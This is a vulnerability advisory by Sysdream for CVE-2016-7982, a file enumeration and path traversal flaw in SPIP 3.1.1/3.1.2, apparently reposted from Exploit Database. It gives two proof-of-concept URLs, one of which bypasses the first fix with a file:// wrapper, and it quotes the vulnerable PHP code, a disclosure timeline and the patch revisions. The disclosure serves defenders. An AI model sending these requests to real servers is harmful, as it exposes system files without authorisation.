SPIP 3.1.1/3.1.2 – File Enumeration / Path Traversal

• Exploit Database
• 14 阅读

• 作者： Sysdream
  日期： 2016-10-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40596/

• ## SPIP 3.1.1/3.1.2 File Enumeration / Path Traversal (CVE-2016-7982)
  
  ### Product Description
  
  SPIP is a publishing system for the Internet, which put importance on collaborative working, multilingual environments and ease of use. It is free software, distributed under the GNU/GPL licence.
  
  ### Vulnerability Description
  
  The `valider_xml` file can be used to enumerate files on the system.
  
  **Access Vector**: remote
  
  **Security Risk**: medium
  
  **Vulnerability**: CWE-538
  
  **CVSS Base Score**: 4.9 (Medium)
  
  **CVE-ID**: CVE-2016-7982
  
  ### Proof of Concept
  
  Enumerating `.ini` files inside `/etc` (SPIP 3.1.1) :
  
  http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=/etc&ext=ini&recur=2
  
  Bypassing SPIP 3.1.2 protection using PHP Wrappers :
  
  http://spip-dev.srv/ecrire/?exec=valider_xml&var_url=file:///etc&ext=ini&recur=2
  
  ### Vulnerable code
  
  if (is_dir($url)) {
  $dir = (substr($url, -1, 1) === '/') ? $url : "$url/";
  $ext = !preg_match('/^[.*\w]+$/', $req_ext) ? 'php' : $req_ext;
  $files = preg_files($dir, "$ext$", $limit, $rec);
  if (!$files and $ext !== 'html') {
  $files = preg_files($dir, 'html$', $limit, $rec);
  if ($files) {
  $ext = 'html';
  }
  }
  if ($files) {
  $res = valider_dir($files, $ext, $url);
  list($err, $res) = valider_resultats($res, $ext === 'html');
  
  File names are stored in `$res` and displayed by `echo` on line 146 :
  
  echo "<h1>", $titre, '<br>', $bandeau, '</h1>',
  "<div style='text-align: center'>", $onfocus, "</div>",
  $res,
  fin_page();
  
  
  
  ### Timeline (dd/mm/yyyy)
  
  * 15/09/2016 : Initial discovery
  * 26/09/2016 : Contact with SPIP Team
  * 27/09/2016 : Answer from SPIP Team, sent advisory details
  * 27/09/2016 : Incorrect fixes for Path Traversal
  * 27/09/2016 : New proof of concept for bypassing Path Traversal sent.
  * 27/09/2016 : Bad fix for Path Traversal (23185)
  * 28/09/2016 : New proof of concept for bypassing fixes for Path Traversal on Windows systems.
  * 28/09/2016 : Fixes issued Path Traversal (23200)
  * 30/09/2016 : SPIP 3.1.3 Released
  
  ### Fixes
  
  * https://core.spip.net/projects/spip/repository/revisions/23207
  * https://core.spip.net/projects/spip/repository/revisions/23208
  * https://core.spip.net/projects/spip/repository/revisions/23206
  * https://core.spip.net/projects/spip/repository/revisions/23202
  * https://core.spip.net/projects/spip/repository/revisions/23201
  * https://core.spip.net/projects/spip/repository/revisions/23200
  * https://core.spip.net/projects/spip/repository/revisions/23191
  * https://core.spip.net/projects/spip/repository/revisions/23190
  * https://core.spip.net/projects/spip/repository/revisions/23193
  * https://core.spip.net/projects/spip/repository/revisions/23188
  * https://core.spip.net/projects/spip/repository/revisions/23187
  * https://core.spip.net/projects/spip/repository/revisions/23185
  * https://core.spip.net/projects/spip/repository/revisions/23182
  * https://core.spip.net/projects/spip/repository/revisions/23184
  
  
  ### Affected versions
  
  * Version <= 3.1.2
  
  ### Credits
  
  * Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)
  
  
  -- SYSDREAM Labs <labs@sysdream.com> GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 * Website: https://sysdream.com/ * Twitter: @sysdream